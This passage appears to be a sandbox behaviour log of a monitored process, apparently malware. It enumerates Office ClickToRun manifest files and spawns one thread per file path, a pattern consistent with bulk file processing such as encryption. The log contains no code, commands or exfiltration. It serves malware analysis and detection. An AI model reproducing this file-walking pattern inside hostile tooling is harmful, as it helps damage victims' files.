	[0077.387] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\*", lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aee8
	[0085.572] wcscmp (_String1=".", _String2=".") returned 0
	[0085.572] FindNextFileW (in: hFindFile=0x477aee8, lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.573] wcscmp (_String1="..", _String2=".") returned 1
	[0085.573] wcscmp (_String1="..", _String2="..") returned 0
	[0085.573] FindNextFileW (in: hFindFile=0x477aee8, lpFindFileData=0x2dbf390 | out: lpFindFileData=0x2dbf390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0085.573] FindClose (in: hFindFile=0x477aee8 | out: hFindFile=0x477aee8) returned 1
	[0085.573] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dbf390) returned 1
	[0085.573] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734158) returned 1
	[0085.573] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47342f8) returned 1

Thread:
	id = 475
	os_tid = 0x1694

	[0077.387] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x4987040
	[0077.387] wcscpy (in: _Dest=0x4987040, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0077.388] wcscat (in: _Dest=0x4987040, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0077.388] wcscat (in: _Dest=0x4987040, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*"
	[0077.388] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbf860
	[0077.388] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*", lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a7e8
	[0085.623] wcscmp (_String1=".", _String2=".") returned 0
	[0085.623] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.625] wcscmp (_String1="..", _String2=".") returned 1
	[0085.625] wcscmp (_String1="..", _String2="..") returned 0
	[0085.625] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437adb83, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x437adb83, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x247ecc35, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44e23, dwReserved0=0x0, dwReserved1=0x0, cFileName="AirSpace.Etw.man", cAlternateFileName="AIRSPA~1.MAN")) returned 1
	[0085.625] wcscmp (_String1="AirSpace.Etw.man", _String2=".") returned 1
	[0085.625] wcscmp (_String1="AirSpace.Etw.man", _String2="..") returned 1
	[0085.625] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2d4a0
	[0085.625] wcscpy (in: _Dest=0x4f2d4a0, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0085.625] wcscat (in: _Dest=0x4f2d4a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0085.625] wcscat (in: _Dest=0x4f2d4a0, _Source="AirSpace.Etw.man" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man"
	[0086.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4f2d4a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18f0
	[0086.978] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2686ce0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x91f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", cAlternateFileName="C25A45~1.XML")) returned 1
	[0086.978] wcscmp (_String1="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", _String2=".") returned 1
	[0086.978] wcscmp (_String1="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", _String2="..") returned 1
	[0086.978] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x481c130
	[0086.978] wcscpy (in: _Dest=0x481c130, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.978] wcscat (in: _Dest=0x481c130, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.978] wcscat (in: _Dest=0x481c130, _Source="C2RManifest.Access.Access.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml"
	[0086.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481c130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a14
	[0086.978] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd356d87a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe71c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.accessmui.msi.16.en-us.xml", cAlternateFileName="C222C2~1.XML")) returned 1
	[0086.978] wcscmp (_String1="C2RManifest.accessmui.msi.16.en-us.xml", _String2=".") returned 1
	[0086.978] wcscmp (_String1="C2RManifest.accessmui.msi.16.en-us.xml", _String2="..") returned 1
	[0086.978] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x47ec608
	[0086.978] wcscpy (in: _Dest=0x47ec608, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.979] wcscat (in: _Dest=0x47ec608, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.979] wcscat (in: _Dest=0x47ec608, _Source="C2RManifest.accessmui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml"
	[0086.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ec608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a18
	[0086.979] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31d9ff6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.accessmuiset.msi.16.en-us.xml", cAlternateFileName="C2FB2E~1.XML")) returned 1
	[0086.979] wcscmp (_String1="C2RManifest.accessmuiset.msi.16.en-us.xml", _String2=".") returned 1
	[0086.979] wcscmp (_String1="C2RManifest.accessmuiset.msi.16.en-us.xml", _String2="..") returned 1
	[0086.979] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x4752e00
	[0086.979] wcscpy (in: _Dest=0x4752e00, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.979] wcscat (in: _Dest=0x4752e00, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.979] wcscat (in: _Dest=0x4752e00, _Source="C2RManifest.accessmuiset.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml"
	[0086.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4752e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a1c
	[0086.980] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26f9444, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3f14, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", cAlternateFileName="C210C4~1.XML")) returned 1
	[0086.980] wcscmp (_String1="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", _String2=".") returned 1
	[0086.980] wcscmp (_String1="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", _String2="..") returned 1
	[0086.980] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x4752070
	[0086.980] wcscpy (in: _Dest=0x4752070, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.980] wcscat (in: _Dest=0x4752070, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.980] wcscat (in: _Dest=0x4752070, _Source="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml"
	[0086.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4752070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a20
	[0086.981] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31415cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.dcfmui.msi.16.en-us.xml", cAlternateFileName="C206B0~1.XML")) returned 1
	[0086.981] wcscmp (_String1="C2RManifest.dcfmui.msi.16.en-us.xml", _String2=".") returned 1
	[0086.981] wcscmp (_String1="C2RManifest.dcfmui.msi.16.en-us.xml", _String2="..") returned 1
	[0086.981] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4768b98
	[0086.981] wcscpy (in: _Dest=0x4768b98, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.981] wcscat (in: _Dest=0x4768b98, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.981] wcscat (in: _Dest=0x4768b98, _Source="C2RManifest.dcfmui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml"
	[0086.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4768b98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a24
	[0086.982] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed611426, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed611426, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd252f7b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39d9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", cAlternateFileName="C21578~1.XML")) returned 1
	[0086.982] wcscmp (_String1="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", _String2=".") returned 1
	[0086.982] wcscmp (_String1="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", _String2="..") returned 1
	[0086.982] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4779c60
	[0086.983] wcscpy (in: _Dest=0x4779c60, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.983] wcscat (in: _Dest=0x4779c60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.983] wcscat (in: _Dest=0x4779c60, _Source="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml"
	[0086.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4779c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a28
	[0086.983] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5c4f9a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5c4f9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd330b2e9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.excelmui.msi.16.en-us.xml", cAlternateFileName="C2D2CD~1.XML")) returned 1
	[0086.983] wcscmp (_String1="C2RManifest.excelmui.msi.16.en-us.xml", _String2=".") returned 1
	[0086.983] wcscmp (_String1="C2RManifest.excelmui.msi.16.en-us.xml", _String2="..") returned 1
	[0086.983] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47eada8
	[0086.983] wcscpy (in: _Dest=0x47eada8, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.983] wcscat (in: _Dest=0x47eada8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.983] wcscat (in: _Dest=0x47eada8, _Source="C2RManifest.excelmui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml"
	[0086.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eada8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a2c
	[0086.984] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd23fe538, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", cAlternateFileName="C233DB~1.XML")) returned 1
	[0086.984] wcscmp (_String1="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", _String2=".") returned 1
	[0086.984] wcscmp (_String1="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", _String2="..") returned 1
	[0086.984] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x481c550
	[0086.984] wcscpy (in: _Dest=0x481c550, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.984] wcscat (in: _Dest=0x481c550, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.984] wcscat (in: _Dest=0x481c550, _Source="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml"
	[0086.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481c550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a30
	[0086.985] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3298bbd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.groovemui.msi.16.en-us.xml", cAlternateFileName="C26024~1.XML")) returned 1
	[0086.985] wcscmp (_String1="C2RManifest.groovemui.msi.16.en-us.xml", _String2=".") returned 1
	[0086.985] wcscmp (_String1="C2RManifest.groovemui.msi.16.en-us.xml", _String2="..") returned 1
	[0086.985] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x47eb618
	[0086.985] wcscpy (in: _Dest=0x47eb618, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.985] wcscat (in: _Dest=0x47eb618, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.985] wcscat (in: _Dest=0x47eb618, _Source="C2RManifest.groovemui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml"
	[0086.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eb618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a34
